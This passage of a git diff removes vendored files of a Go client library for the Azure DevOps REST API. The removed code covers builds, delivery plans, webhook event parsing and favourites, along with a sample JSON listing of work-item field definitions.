r) - - return r.Builds, resp, err -} - -// QueueBuildOptions describes what the request to the API should look like -type QueueBuildOptions struct { - IgnoreWarnings bool `url:"ignoreWarnings,omitempty"` - CheckInTicket string `url:"checkInTicket,omitempty"` -} - -// Queue inserts new build creation to queue -// Requires build ID number in build.definition -// Example body: -// {"definition": {"id": 1}, "sourceBranch": "refs/heads/master"} -// utilising https://docs.microsoft.com/en-us/rest/api/azure/devops/build/Builds/Queue -func (s *BuildsService) Queue(ctx context.Context, owner string, project string, build *Build, opts *QueueBuildOptions) (*Build, *http.Response, error) { - URL := fmt.Sprintf("%s/%s/_apis/build/builds?api-version=5.1-preview.5", - owner, - project, - ) - URL, err := addOptions(URL, opts) - - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("POST", URL, build) - if err != nil { - return nil, nil, err - } - r := new(Build) - resp, err := s.client.Execute(ctx, req, r) - - return r, resp, err -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/debug.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/debug.go deleted file mode 100644 index e0b24a1e01..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/debug.go +++ /dev/null @@ -1,20 +0,0 @@ -// +build debug - -package azuredevops - -import ( - "log" - "net/http" - "net/http/httputil" -) - -// Idea from: -// https://dave.cheney.net/2014/09/28/using-build-to-switch-between-debug-and-release -func debug(fmt string, args ...interface{}) { - log.Printf(fmt, args...) -} - -func debugReq(req *http.Request) { - dump, err := httputil.DumpRequest(req, true) - debug(string(dump), err) -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/delivery_plans.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/delivery_plans.go deleted file mode 100644 index 9f857568b2..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/delivery_plans.go +++ /dev/null @@ -1,109 +0,0 @@ -package azuredevops - -import ( - "context" - "fmt" - "net/http" - "time" -) - -// DeliveryPlansService handles communication with the deliverytimeline methods on the API -// utilising https://docs.microsoft.com/en-us/rest/api/vsts/work/deliverytimeline -type DeliveryPlansService struct { - client *Client -} - -// DeliveryPlansListResponse describes the delivery plans list response -type DeliveryPlansListResponse struct { - Count int `json:"count"` - DeliveryPlans []*DeliveryPlan `json:"value"` -} - -// DeliveryPlanTimeLine describes the delivery plan get response -type DeliveryPlanTimeLine struct { - StartDate *string `json:"startDate,omitempty"` - EndDate *string `json:"endDate,omitempty"` - ID *string `json:"id,omitempty"` - Revision *int `json:"revision,omitempty"` - Teams []*DeliveryTeam `json:"teams,omitempty"` -} - -// DeliveryPlan describes an plan -type DeliveryPlan struct { - ID *string `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - Type *string `json:"type,omitempty"` - Created *string `json:"createdDate,omitempty"` - URL *string `json:"url,omitempty"` -} - -// DeliveryTeam describes the teams in a specific plan -type DeliveryTeam struct { - ID *string `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - Iterations []*Iteration `json:"iterations,omitempty"` -} - -const ( - // DeliveryPlanWorkItemIDKey is the key for which part of the workItems[] slice has the ID - DeliveryPlanWorkItemIDKey = 0 - // DeliveryPlanWorkItemIterationKey is the key for which part of the workItems[] slice has the Iteration - DeliveryPlanWorkItemIterationKey = 1 - // DeliveryPlanWorkItemTypeKey is the key for which part of the workItems[] slice has the Type - DeliveryPlanWorkItemTypeKey = 2 - // DeliveryPlanWorkItemNameKey is the key for which part of the workItems[] slice has the Name - DeliveryPlanWorkItemNameKey = 4 - // DeliveryPlanWorkItemStatusKey is the key for which part of the workItems[] slice has the Status - DeliveryPlanWorkItemStatusKey = 5 - // DeliveryPlanWorkItemTagKey is the key for which part of the workItems[] slice has the Tag - DeliveryPlanWorkItemTagKey = 6 -) - -// DeliveryPlansListOptions describes what the request to the API should look like -type DeliveryPlansListOptions struct { -} - -// List returns a list of delivery plans -func (s *DeliveryPlansService) List(ctx context.Context, owner string, project string, opts *DeliveryPlansListOptions) ([]*DeliveryPlan, *http.Response, error) { - URL := fmt.Sprintf("%s/%s/_apis/work/plans?api-version=5.1-preview.1", - owner, - project, - ) - URL, err := addOptions(URL, opts) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - r := new(DeliveryPlansListResponse) - resp, err := s.client.Execute(ctx, req, r) - - return r.DeliveryPlans, resp, err -} - -// GetTimeLine will fetch the details about a specific delivery plan -func (s *DeliveryPlansService) GetTimeLine(ctx context.Context, owner string, project string, ID string, startDate, endDate string) (*DeliveryPlanTimeLine, *http.Response, error) { - URL := fmt.Sprintf( - "%s/%s/_apis/work/plans/%s/deliverytimeline?api-version=5.1-preview.1", - owner, - project, - ID, - ) - - if startDate == "" { - startDate = time.Now().Format("2006-01-02") - // The 65 date thing is arbitrary from the API - endDate = time.Now().AddDate(0, 0, 65).Format("2006-01-02") - } - - URL = fmt.Sprintf(URL+"&startDate=%s&endDate=%s", startDate, endDate) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - r := new(DeliveryPlanTimeLine) - resp, err := s.client.Execute(ctx, req, r) - - return r, resp, err -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/doc.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/doc.go deleted file mode 100644 index c9a785850b..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/doc.go +++ /dev/null @@ -1,5 +0,0 @@ -/* -Package azuredevops is a Go client library for accessing the Azure DevOps API. -Installation -*/ -package azuredevops diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/event_types.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/event_types.go deleted file mode 100644 index cc218e3da1..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/event_types.go +++ /dev/null @@ -1,49 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Adapted to handle a subset of Pull Request webooks from Azure Devops -// Azure Devops Events docs: https://docs.microsoft.com/en-us/azure/devops/service-hooks/events?view=azure-devops - -package azuredevops - -// ItemContent describes an item -type ItemContent struct { - Content *string `json:"content,omitempty"` - ContentType *ItemContentType `json:"contentType,omitempty"` -} - -// ItemContentType describes an item content type -type ItemContentType struct { - Base64Encoded *string `json:"base64Encoded,omitempty"` - RawText *string `json:"rawText,omitempty"` -} - -// Link A single item in a collection of Links. -type Link struct { - Href *string `json:"href,omitempty"` -} - -// ResourceContainers provides information related to the Resources in a payload -type ResourceContainers struct { - Collection *ResourceRef `json:"text,omitempty"` - Account *ResourceRef `json:"html,omitempty"` - Project *ResourceRef `json:"markdown,omitempty"` -} - -// ResourceRef Describes properties to identify a resource -type ResourceRef struct { - ID *string `json:"id,omitempty"` - BaseURL *string `json:"baseUrl,omitempty"` - URL *string `json:"url,omitempty"` -} - -// WebAPITagDefinition The representation of a tag definition which is sent across -// the wire. -type WebAPITagDefinition struct { - Active *bool `json:"active,omitempty"` - ID *string `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - URL *string `json:"url,omitempty"` -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/events.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/events.go deleted file mode 100644 index 75fc98bf63..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/events.go +++ /dev/null @@ -1,105 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package azuredevops - -import ( - "encoding/json" - "errors" - "fmt" -) - -// Message represents an Azure Devops webhook message property -type Message struct { - Text *string `json:"text,omitempty"` - HTML *string `json:"html,omitempty"` - Markdown *string `json:"markdown,omitempty"` -} - -// Event - Describes an Azure Devops webhook payload parent -// Delay parsing Resource using *json.RawMessage -// until we know EventType. The contents of Resource change -// depending on EventType. -// PayloadType is filled with an enum that describes the type of resource -// payload. -type Event struct { - SubscriptionID string `json:"subscriptionId,omitempty"` - NotificationID int `json:"notificationId,omitempty"` - ID string `json:"id,omitempty"` - EventType string `json:"eventType,omitempty"` - Message Message `json:"message,omitempty"` - DetailedMessage Message `json:"detailedMessage,omitempty"` - RawPayload json.RawMessage `json:"resource,omitempty"` - ResourceVersion string `json:"resourceVersion,omitempty"` - ResourceContainers ResourceContainers `json:"resourceContainers,omitempty"` - CreatedDate Time `json:"createdDate,omitempty"` - Resource interface{} - PayloadType PayloadType -} - -// PayloadType Used to describe the event area -type PayloadType int - -const ( - // PullRequestCommentedEvent Resource field is parsed as a pull - // request commented event (note this maps to resourceVersion - // 2.0 of the payload struct, which is incompatible with 1.0 - PullRequestCommentedEvent PayloadType = iota - // PullRequestEvent Resource field is parsed as a pull request event - PullRequestEvent - // PushEvent Git push service event - PushEvent - // WorkItemCommentedEvent Resource field is parsed as a work item - // commented event - WorkItemCommentedEvent - // WorkItemUpdatedEvent Resource field is parsed as a work item - // updated event - WorkItemUpdatedEvent -) - -// ParsePayload parses the event payload. For recognized event types, -// it returns the webhook payload with a parsed struct in the -// Event.Resource field. -func (e *Event) ParsePayload() (payload interface{}, err error) { - switch e.EventType { - case "git.pullrequest.created": - e.PayloadType = PullRequestEvent - payload = &GitPullRequest{} - case "git.pullrequest.merged": - e.PayloadType = PullRequestEvent - payload = &GitPullRequest{} - case "git.pullrequest.updated": - e.PayloadType = PullRequestEvent - payload = &GitPullRequest{} - case "git.push": - e.PayloadType = PushEvent - payload = &GitPush{} - case "ms.vss-code.git-pullrequest-comment-event": - e.PayloadType = PullRequestCommentedEvent - payload = &GitPullRequestWithComment{} - case "workitem.commented": - e.PayloadType = WorkItemCommentedEvent - payload = &WorkItem{} - case "workitem.updated": - e.PayloadType = WorkItemUpdatedEvent - payload = &WorkItemUpdate{} - default: - return payload, errors.New("Unknown EventType in webhook payload") - } - - if len(e.RawPayload) == 0 { - msg := "JSON zero byte resource field in payload" - fmt.Printf("%s: %#v \n\n", msg, e) - return nil, errors.New(msg) - } - - err = json.Unmarshal(e.RawPayload, &payload) - if err != nil { - fmt.Printf("JSON unmarshal err: %#v \n\n %#v \n\n", payload, err) - return payload, err - } - e.Resource = payload - return payload, nil -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/favourites.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/favourites.go deleted file mode 100644 index 99383b717b..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/favourites.go +++ /dev/null @@ -1,47 +0,0 @@ -package azuredevops - -import ( - "context" - "fmt" - "net/http" -) - -// FavouritesService handles communication with the favourites methods on the API -// So far it looks like this is undocumented, so this could change -type FavouritesService struct { - client *Client -} - -// FavouritesResponse describes the favourites response -type FavouritesResponse struct { - Count int `json:"count"` - Favourites []*Favourite `json:"value"` -} - -// Favourite describes what a favourite is -type Favourite struct { - ID *string `json:"id,omitempty"` - ArtifactName *string `json:"artifactName,omitempty"` - ArtifactType *string `json:"artifactType,omitempty"` - ArtifactID *string `json:"artifactId,omitempty"` -} - -// List returns a list of the favourite items from for the user -func (s *FavouritesService) List(ctx context.Context, owner, project string) ([]*Favourite, *http.Response, error) { - URL := fmt.Sprintf( - "%s/%s/_apis/Favorite/Favorites?artifactType=%s", - owner, - project, - "Microsoft.TeamFoundation.Git.Repository", // @todo This needs fixing - ) - - u, _ := s.client.BaseURL.Parse(URL) - req, err := s.client.NewRequest("GET", u.String(), nil) - if err != nil { - return nil, nil, err - } - r := new(FavouritesResponse) - resp, err := s.client.Execute(ctx, req, r) - - return r.Favourites, resp, err -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/fields.json b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/fields.json deleted file mode 100644 index 05d6271093..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/fields.json +++ /dev/null @@ -1,449 +0,0 @@ -{ - "value" : [ - { - "helpText" : "The iteration within which this task will be completed", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.IterationPath", - "alwaysRequired" : false, - "referenceName" : "System.IterationPath", - "defaultValue" : null, - "name" : "Iteration Path" - }, - { - "name" : "Iteration ID", - "alwaysRequired" : true, - "referenceName" : "System.IterationId", - "defaultValue" : null, - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.IterationId" - }, - { - "referenceName" : "System.ExternalLinkCount", - "alwaysRequired" : false, - "name" : "External Link Count", - "defaultValue" : null, - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.ExternalLinkCount" - }, - { - "referenceName" : "System.IterationLevel7", - "name" : "Iteration Level 7", - "alwaysRequired" : false, - "defaultValue" : null, - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.IterationLevel7" - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.IterationLevel6", - "defaultValue" : null, - "referenceName" : "System.IterationLevel6", - "alwaysRequired" : false, - "name" : "Iteration Level 6" - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.IterationLevel5", - "referenceName" : "System.IterationLevel5", - "alwaysRequired" : false, - "name" : "Iteration Level 5", - "defaultValue" : null - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.IterationLevel4", - "alwaysRequired" : false, - "name" : "Iteration Level 4", - "referenceName" : "System.IterationLevel4", - "defaultValue" : null - }, - { - "defaultValue" : null, - "name" : "Iteration Level 3", - "alwaysRequired" : false, - "referenceName" : "System.IterationLevel3", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.IterationLevel3" - }, - { - "referenceName" : "System.IterationLevel2", - "alwaysRequired" : false, - "name" : "Iteration Level 2", - "defaultValue" : null, - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.IterationLevel2" - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.IterationLevel1", - "defaultValue" : null, - "referenceName" : "System.IterationLevel1", - "name" : "Iteration Level 1", - "alwaysRequired" : false - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.AreaLevel7", - "referenceName" : "System.AreaLevel7", - "name" : "Area Level 7", - "alwaysRequired" : false, - "defaultValue" : null - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.AreaLevel6", - "defaultValue" : null, - "referenceName" : "System.AreaLevel6", - "alwaysRequired" : false, - "name" : "Area Level 6" - }, - { - "name" : "Area Level 5", - "alwaysRequired" : false, - "referenceName" : "System.AreaLevel5", - "defaultValue" : null, - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.AreaLevel5" - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.AreaLevel4", - "alwaysRequired" : false, - "name" : "Area Level 4", - "referenceName" : "System.AreaLevel4", - "defaultValue" : null - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.AreaLevel3", - "defaultValue" : null, - "name" : "Area Level 3", - "alwaysRequired" : false, - "referenceName" : "System.AreaLevel3" - }, - { - "defaultValue" : null, - "referenceName" : "System.AreaLevel2", - "name" : "Area Level 2", - "alwaysRequired" : false, - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.AreaLevel2" - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.AreaLevel1", - "defaultValue" : null, - "alwaysRequired" : false, - "name" : "Area Level 1", - "referenceName" : "System.AreaLevel1" - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.TeamProject", - "name" : "Team Project", - "alwaysRequired" : false, - "referenceName" : "System.TeamProject", - "defaultValue" : null - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.RemoteLinkCount", - "defaultValue" : null, - "alwaysRequired" : false, - "name" : "Remote Link Count", - "referenceName" : "System.RemoteLinkCount" - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.CommentCount", - "defaultValue" : null, - "referenceName" : "System.CommentCount", - "alwaysRequired" : false, - "name" : "Comment Count" - }, - { - "referenceName" : "System.HyperLinkCount", - "alwaysRequired" : false, - "name" : "Hyperlink Count", - "defaultValue" : null, - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.HyperLinkCount" - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.AttachedFileCount", - "alwaysRequired" : false, - "name" : "Attached File Count", - "referenceName" : "System.AttachedFileCount", - "defaultValue" : null - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.NodeName", - "referenceName" : "System.NodeName", - "alwaysRequired" : false, - "name" : "Node Name", - "defaultValue" : null - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.AreaPath", - "helpText" : "The area of the product to which this task contributes", - "referenceName" : "System.AreaPath", - "alwaysRequired" : false, - "name" : "Area Path", - "defaultValue" : null - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.RevisedDate", - "defaultValue" : null, - "name" : "Revised Date", - "alwaysRequired" : false, - "referenceName" : "System.RevisedDate" - }, - { - "referenceName" : "System.ChangedDate", - "alwaysRequired" : false, - "name" : "Changed Date", - "defaultValue" : null, - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.ChangedDate" - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.Id", - "defaultValue" : null, - "referenceName" : "System.Id", - "alwaysRequired" : false, - "name" : "ID" - }, - { - "referenceName" : "System.AreaId", - "alwaysRequired" : true, - "name" : "Area ID", - "defaultValue" : null, - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.AreaId" - }, - { - "defaultValue" : null, - "referenceName" : "System.AuthorizedAs", - "name" : "Authorized As", - "alwaysRequired" : false, - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.AuthorizedAs" - }, - { - "defaultValue" : null, - "name" : "Title", - "referenceName" : "System.Title", - "alwaysRequired" : true, - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.Title", - "helpText" : "Work required and how this will implement a User Story" - }, - { - "name" : "State", - "defaultValue" : "New", - "helpText" : "New = New work not yet activated; Active = work remains to be done; Closed = tested and checked in.", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.State", - "alwaysRequired" : true, - "referenceName" : "System.State" - }, - { - "defaultValue" : null, - "name" : "Authorized Date", - "alwaysRequired" : false, - "referenceName" : "System.AuthorizedDate", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.AuthorizedDate" - }, - { - "referenceName" : "System.Watermark", - "name" : "Watermark", - "alwaysRequired" : false, - "defaultValue" : null, - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.Watermark" - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.Rev", - "defaultValue" : null, - "name" : "Rev", - "alwaysRequired" : false, - "referenceName" : "System.Rev" - }, - { - "alwaysRequired" : false, - "name" : "Changed By", - "referenceName" : "System.ChangedBy", - "defaultValue" : null, - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.ChangedBy" - }, - { - "defaultValue" : null, - "name" : "Reason", - "alwaysRequired" : false, - "referenceName" : "System.Reason", - "helpText" : "The reason why the task is in its current state", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.Reason" - }, - { - "helpText" : "The person currently working on this task", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.AssignedTo", - "referenceName" : "System.AssignedTo", - "alwaysRequired" : false, - "name" : "Assigned To", - "defaultValue" : null - }, - { - "defaultValue" : null, - "name" : "Work Item Type", - "alwaysRequired" : false, - "referenceName" : "System.WorkItemType", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.WorkItemType" - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.CreatedDate", - "defaultValue" : null, - "referenceName" : "System.CreatedDate", - "alwaysRequired" : false, - "name" : "Created Date" - }, - { - "defaultValue" : null, - "alwaysRequired" : false, - "name" : "Created By", - "referenceName" : "System.CreatedBy", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.CreatedBy" - }, - { - "helpText" : "What to do, pointers to resources and inputs, design notes, exit criteria", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.Description", - "alwaysRequired" : false, - "referenceName" : "System.Description", - "defaultValue" : null, - "name" : "Description" - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.History", - "helpText" : "Discussion thread plus automatic record of changes", - "referenceName" : "System.History", - "alwaysRequired" : false, - "name" : "History", - "defaultValue" : null - }, - { - "defaultValue" : null, - "name" : "Related Link Count", - "alwaysRequired" : false, - "referenceName" : "System.RelatedLinkCount", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.RelatedLinkCount" - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.Tags", - "referenceName" : "System.Tags", - "name" : "Tags", - "alwaysRequired" : false, - "defaultValue" : null - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.BoardColumn", - "alwaysRequired" : false, - "name" : "Board Column", - "referenceName" : "System.BoardColumn", - "defaultValue" : null - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.BoardColumnDone", - "defaultValue" : null, - "referenceName" : "System.BoardColumnDone", - "alwaysRequired" : false, - "name" : "Board Column Done" - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/System.BoardLane", - "alwaysRequired" : false, - "name" : "Board Lane", - "referenceName" : "System.BoardLane", - "defaultValue" : null - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/Microsoft.VSTS.Common.Activity", - "helpText" : "Type of work involved", - "referenceName" : "Microsoft.VSTS.Common.Activity", - "alwaysRequired" : false, - "name" : "Activity", - "defaultValue" : null - }, - { - "defaultValue" : null, - "name" : "Remaining Work", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/Microsoft.VSTS.Scheduling.RemainingWork", - "helpText" : "An estimate of the number of units of work remaining to complete this task", - "referenceName" : "Microsoft.VSTS.Scheduling.RemainingWork", - "alwaysRequired" : false - }, - { - "alwaysRequired" : false, - "referenceName" : "Microsoft.VSTS.Scheduling.OriginalEstimate", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/Microsoft.VSTS.Scheduling.OriginalEstimate", - "helpText" : "Initial value for Remaining Work - set once, when work begins", - "name" : "Original Estimate", - "defaultValue" : null - }, - { - "referenceName" : "Microsoft.VSTS.Scheduling.CompletedWork", - "alwaysRequired" : false, - "helpText" : "The number of units of work that have been spent on this task", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/Microsoft.VSTS.Scheduling.CompletedWork", - "defaultValue" : null, - "name" : "Completed Work" - }, - { - "alwaysRequired" : false, - "referenceName" : "Microsoft.VSTS.Common.Priority", - "helpText" : "Importance to business", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/Microsoft.VSTS.Common.Priority", - "name" : "Priority", - "defaultValue" : "2" - }, - { - "defaultValue" : null, - "name" : "Stack Rank", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/Microsoft.VSTS.Common.StackRank", - "helpText" : "Work first on items with lower-valued stack rank. Set in triage.", - "referenceName" : "Microsoft.VSTS.Common.StackRank", - "alwaysRequired" : false - }, - { - "defaultValue" : null, - "name" : "Start Date", - "helpText" : "The date to start the task", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/Microsoft.VSTS.Scheduling.StartDate", - "alwaysRequired" : false, - "referenceName" : "Microsoft.VSTS.Scheduling.StartDate" - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/Microsoft.VSTS.Scheduling.FinishDate", - "helpText" : "The date to finish the task", - "alwaysRequired" : false, - "referenceName" : "Microsoft.VSTS.Scheduling.FinishDate", - "defaultValue" : null, - "name" : "Finish Date" - }, - { - "defaultValue" : null, - "referenceName" : "Microsoft.VSTS.Common.StateChangeDate", - "alwaysRequired" : false, - "name" : "State Change Date", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/Microsoft.VSTS.Common.StateChangeDate" - }, - { - "alwaysRequired" : false, - "name" : "Activated Date", - "referenceName" : "Microsoft.VSTS.Common.ActivatedDate", - "defaultValue" : null, - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/Microsoft.VSTS.Common.ActivatedDate" - }, - { - "defaultValue" : null, - "alwaysRequired" : false, - "name" : "Activated By", - "referenceName" : "Microsoft.VSTS.Common.ActivatedBy", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/Microsoft.VSTS.Common.ActivatedBy" - }, - { - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/Microsoft.VSTS.Common.ClosedDate", - "referenceName" : "Microsoft.VSTS.Common.ClosedDate", - "alwaysRequired" : false, - "name" : "Closed Date", - "defaultValue" : null - }, - { - "defaultValue" : null, - "referenceName" : "Microsoft.VSTS.Common.ClosedBy", - "name" : "Closed By", - "alwaysRequired" : false, - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/Microsoft.VSTS.Common.ClosedBy" - }, - { - "helpText" : "The build in which the bug was fixed", - "url" : "https://dev.azure.com/linkconsulting/ee81749d-1a0f-4787-a694-3e55b7c5539e/_apis/wit/fields/Microsoft.VSTS.Build.IntegrationBuild", - "referenceName" : "Microsoft.VSTS.Build.IntegrationBuild", - "alwaysRequired" : false, - "name" : "Integration Build", - "defaultValue" : null - } - ], - "count" : 61 -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/git.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/git.go deleted file mode 100644 index b07d538373..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/git.go +++ /dev/null @@ -1,529 +0,0 @@ -package azuredevops - -import ( - "context" - "fmt" - "net/http" - "net/url" -) - -// VersionControlChangeType enum declaration -type VersionControlChangeType int - -// VersionControlChangeType valid enum values -const ( - None VersionControlChangeType = iota - Add - Edit - Encoding - Rename - Delete - Undelete - Branch - Merge - Lock - Rollback - SourceRename - TargetRename - Property - All -) - -func (d VersionControlChangeType) String() string { - return [...]string{"none", "add", "edit", "encoding", "rename", "delete", "undelete", "branch", "merge", "lock", "rollback", "sourceRename", "targetRename", "property", "all"}[d] -} - -// 